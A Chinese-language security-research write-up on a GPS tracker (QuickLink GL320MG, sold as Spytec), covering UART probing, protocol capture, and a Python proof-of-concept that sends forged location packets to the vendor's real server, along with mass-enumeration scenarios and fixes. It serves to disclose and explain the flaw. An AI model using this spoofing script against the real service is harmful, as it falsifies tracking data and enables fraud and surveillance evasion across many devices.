硬件黑客 --- GPS追踪器安全研究：位置欺骗漏洞分析
┌─────────────────────────────────────────────────────────────────────┐
│ 目标设备：中国OEM GPS追踪器 (GL 320MG by QuickLink) │
│ 销售品牌：Spytec（美国市场），约50万台设备在使用 │
│ 发现漏洞：无身份验证的GPS位置上报，可伪造任意设备位置 │
└─────────────────────────────────────────────────────────────────────┘设备架构分析
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┌─────────────────────────────────────────────────────────────────┐
│ GPS追踪器硬件架构 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ UART ┌──────────────┐ │
│ │ STM32 MCU │◄──────────►│ 蜂窝调制解调器 │ │
│ │ (主控芯片) │ │ (Cell Modem) │ │
│ └──────────────┘ └──────────────┘ │
│ │ │ │
│ │ │ │
│ ┌────┴────┐ ┌────┴────┐ │
│ │GPS天线 │ │LTE天线 │ │
│ └─────────┘ │SIM卡槽 │ │
│ └─────────┘ │
│ │ │
│ ▼ │
│ ┌─────────────┐ │
│ │ 云端服务器 │ │
│ │ (UDP通信) │ │
│ └─────────────┘ │
└─────────────────────────────────────────────────────────────────┘步骤1：硬件分析与探针连接
1.1 识别目标芯片
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┌─────────────────────────────────────────────────────────────────┐
│ 主控芯片：STM32 微控制器 │
│ 封装类型：LQFP64 (64引脚) │
│ 目标引脚：Pin 16 (PA2/UART2_TX), Pin 17 (PA3/UART2_RX) │
└─────────────────────────────────────────────────────────────────┘1.2 确定引脚位置
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如何找到Pin 1：
┌─────────────────────────────────────────┐
│ 1. 芯片上找圆点标记 ● │
│ 2. PCB上对应位置也有圆点标记 │
│ 3. 圆点位置 = Pin 1 │
│ 4. 引脚顺序沿芯片边缘顺时针递增 │
└─────────────────────────────────────────┘
STM32 引脚功能映射：
┌──────────┬──────────┬──────────────────┐
│ 引脚号 │ 功能名 │ 用途 │
├──────────┼──────────┼──────────────────┤
│ Pin 16 │ PA2 │ UART2_TX (发送) │
│ Pin 17 │ PA3 │ UART2_RX (接收) │
└──────────┴──────────┴──────────────────┘1.3 连接逻辑分析仪
Bash
# 所需设备
- 逻辑分析仪（视频中用Saleae，$10的也可以）
- PCBite探针（精密探针）
- 或普通杜邦线 + 焊接
# 连接方式
MCU Pin 16 (TX) ──────► 逻辑分析仪 Channel 0
MCU Pin 17 (RX) ──────► 逻辑分析仪 Channel 1
GND ──────► 逻辑分析仪 GND步骤2：捕获UART通信
2.1 配置逻辑分析仪软件
Bash
# 使用 Saleae Logic 软件
# 1. 添加异步串行分析器
Analyzers → Async Serial
# 2. 配置参数
Channel: 0 (或 1)
Baud Rate: 115200 # IoT设备最常见的波特率
Data Bits: 8
Parity: None
Stop Bits: 1
# 3. 设置显示格式为 ASCII2.2 开始捕获
Bash
# 操作步骤
1. 点击 "Start Recording"
2. 给GPS设备上电
3. 等待15-20秒（设备启动时间）
4. 观察UART通信数据
5. 点击 "Stop" 停止录制步骤3：分析通信协议
3.1 发现的关键信息
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捕获到的数据示例：
┌─────────────────────────────────────────────────────────────────┐
│ AT命令序列（蜂窝调制解调器初始化）： │
│ - ATI (获取设备信息) │
│ - AT+CIMI (获取IMEI) │
│ │
│ 网络连接： │
│ - UDP连接到: qms.spytecgps.com:端口号 │
│ - 解析后的IP地址: xxx.xxx.xxx.xxx │
└─────────────────────────────────────────────────────────────────┘3.2 GPS数据格式分析
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上报的数据格式（逗号分隔的文本协议）：
┌─────────────────────────────────────────────────────────────────┐
│ IMEI,时间戳,纬度,经度,速度,方向,... │
│ │
│ 示例： │
│ 123456789012345,2024-01-15 10:30:00,40.7128,-74.0060,0,0,... │
│ │
│ ★ 没有GPS信号时，经纬度字段为空（地下室测试） │
└─────────────────────────────────────────────────────────────────┘步骤4：发现安全漏洞
4.1 漏洞分析
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┌─────────────────────────────────────────────────────────────────┐
│ 安全漏洞清单 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ❌ 漏洞1：无加密传输 │
│ - 使用明文UDP通信 │
│ - 数据可被窃听 │
│ │
│ ❌ 漏洞2：无身份验证 │
│ - 唯一标识符只有IMEI │
│ - 无密码、无Token、无签名 │
│ │
│ ❌ 漏洞3：服务器可公网访问 │
│ - 未使用私有APN │
│ - 任何人都可以向服务器发送数据 │
│ │
│ ❌ 漏洞4：IMEI可预测 │
│ - 同批次设备IMEI相近 │
│ - 可暴力枚举其他设备 │
│ │
└─────────────────────────────────────────────────────────────────┘步骤5：编写GPS欺骗脚本
5.1 Python脚本实现
Python
#!/usr/bin/env python3
"""
GPS Location Spoofer for QuickLink GL320MG Tracker
仅供安全研究和教育目的
"""
import socket
# 服务器信息（从抓包获取）
SERVER_HOST = "qms.spytecgps.com" # 实际域名需替换
SERVER_PORT = 12345 # 实际端口需替换
# 设备IMEI（从设备获取）
IMEI = "123456789012345"
def create_gps_message(imei, latitude, longitude):
"""
构造GPS上报消息
格式基于QuickLink协议（逆向分析得到）
"""
# 消息格式：IMEI,时间,纬度,经度,其他字段...
timestamp = "2024-01-15 12:00:00"
# 构造消息（具体格式需要根据抓包分析调整）
message = f"{imei},{timestamp},{latitude},{longitude},0,0,..."
return message.encode()
def spoof_location(latitude, longitude):
"""
发送伪造的GPS位置到服务器
"""
# 创建UDP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 构造消息
message = create_gps_message(IMEI, latitude, longitude)
# 发送
sock.sendto(message, (SERVER_HOST, SERVER_PORT))
# 接收响应
try:
sock.settimeout(5)
response, addr = sock.recvfrom(1024)
print(f"服务器响应: {response}")
except socket.timeout:
print("无响应")
sock.close()
# ============ 位置欺骗示例 ============
# 纽约时代广场
times_square = (40.7580, -73.9855)
spoof_location(*times_square)
# 百慕大
bermuda = (32.3078, -64.7505)
spoof_location(*bermuda)
# 冰岛
iceland = (64.9631, -19.0208)
spoof_location(*iceland)5.2 运行脚本
Bash
# 运行欺骗脚本
python3 gps_spoofer.py
# 输出示例
服务器响应: b'ACK' # 服务器确认收到步骤6：验证攻击效果
6.1 登录追踪器后台网站
Bash
# 访问Spytec追踪器管理网站
https://app.spytec.com (示例)
# 登录查看设备位置历史
Timeline → 查看位置记录6.2 观察结果
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┌─────────────────────────────────────────────────────────────────┐
│ 位置历史记录： │
│ │
│ 📍 12:00 - 纽约时代广场 │
│ 📍 12:05 - 百慕大 │
│ 📍 12:10 - 冰岛 │
│ │
│ ★ 设备实际位置：美国亚利桑那州（作者的实际位置） │
│ ★ 位置成功被伪造！ │
└─────────────────────────────────────────────────────────────────┘完整工具清单
硬件工具
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┌─────────────────────────────────────────────────────────────────┐
│ 工具 │ 价格 │ 用途 │
├───────────────────────────┼────────────┼────────────────────────┤
│ 逻辑分析仪 (Saleae) │ $500+ │ 专业级，功能强大 │
│ 逻辑分析仪 (廉价版) │ $10 │ Amazon基础款，够用 │
│ PCBite探针 │ $100+ │ 精密探测 │
│ Raspberry Pi Pico │ $4 │ 可做简易逻辑分析仪 │
│ 杜邦线 │ $5 │ 基础连接 │
│ 烙铁 │ $30 │ 焊接探针 │
└───────────────────────────┴────────────┴────────────────────────┘软件工具
Bash
# 逻辑分析软件
- Saleae Logic 2 (免费)
- PulseView (开源免费)
- sigrok (开源)
# 协议分析
- Wireshark
- Python + socket
# 逆向工程
- Claude Code（作者提到用AI辅助逆向协议）攻击影响分析
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┌─────────────────────────────────────────────────────────────────┐
│ 潜在攻击场景 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 🚗 车队管理欺骗 │
│ - 伪造车辆位置，显示虚假行程 │
│ - 员工可伪造工作轨迹 │
│ │
│ 👤 跟踪规避 │
│ - 被跟踪者发现设备后可伪造位置 │
│ - 让跟踪者误以为目标在其他地方 │
│ │
│ 💰 保险欺诈 │
│ - 伪造里程数据 │
│ - 伪造车辆使用地区 │
│ │
│ 🔓 大规模攻击 │
│ - IMEI可暴力枚举 │
│ - 可同时欺骗数千台设备 │
│ │
└─────────────────────────────────────────────────────────────────┘漏洞根因与修复建议
根本原因
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┌─────────────────────────────────────────────────────────────────┐
│ 1. 使用QuickLink通用协议 │
│ - 开源/半公开的协议 │
│ - Claude AI可以快速逆向 │
│ - 协议本身无安全设计 │
│ │
│ 2. 缺乏安全包装 │
│ - 公司直接使用原始协议 │
│ - 未添加认证层 │
│ - 未使用加密传输 │
│ │
│ 3. 成本优先 │
│ - 使用公网而非私有APN │
│ - 私有APN成本高、配置复杂 │
└─────────────────────────────────────────────────────────────────┘修复建议
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┌─────────────────────────────────────────────────────────────────┐
│ 安全改进建议 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ✅ 添加设备认证 │
│ - 每台设备独立密钥 │
│ - 消息签名验证 │
│ │
│ ✅ 使用加密传输 │
│ - TLS/DTLS加密 │
│ - 防止窃听和篡改 │
│ │
│ ✅ 使用私有APN │
│ - 限制网络访问 │
│ - 服务器不暴露公网 │
│ │
│ ✅ 实现速率限制 │
│ - 检测异常上报频率 │
│ - 阻止暴力枚举 │
│ │
│ ✅ 位置合理性检查 │
│ - 检测不可能的位置跳变 │
│ - 如：1分钟内从纽约到冰岛 │
│ │
└─────────────────────────────────────────────────────────────────┘研究方法论总结
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┌─────────────────────────────────────────────────────────────────┐
│ IoT安全研究步骤 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ 步骤1: 硬件分析 │
│ └─ 拆解设备，识别芯片，查阅数据手册 │
│ │
│ 步骤2: 接口探测 │
│ └─ 找UART/SPI/I2C等调试接口，连接探针 │
│ │
│ 步骤3: 信号捕获 │
│ └─ 使用逻辑分析仪捕获通信数据 │
│ │
│ 步骤4: 协议逆向 │
│ └─ 分析数据格式，理解通信协议 │
│ │
│ 步骤5: 漏洞发现 │
│ └─ 寻找认证缺失、加密缺失等问题 │
│ │
│ 步骤6: 漏洞验证 │
│ └─ 编写PoC代码，验证漏洞可利用性 │
│ │
│ 步骤7: 负责任披露 │
│ └─ 联系厂商，给予修复时间 │
│ │
└─────────────────────────────────────────────────────────────────┘关键教训
┌─────────────────────────────────────────────────────────────────┐
│ 1. 便宜的IoT设备安全性普遍很差 │
│ 2. 白牌/贴牌产品可能共享相同漏洞 │
│ 3. "仅IMEI认证" = 无认证 │
│ 4. 明文传输在2024年仍然普遍存在 │
│ 5. 厂商通常不重视安全报告 │
│ 6. 同一设备可能影响数十万用户 │
└─────────────────────────────────────────────────────────────────┘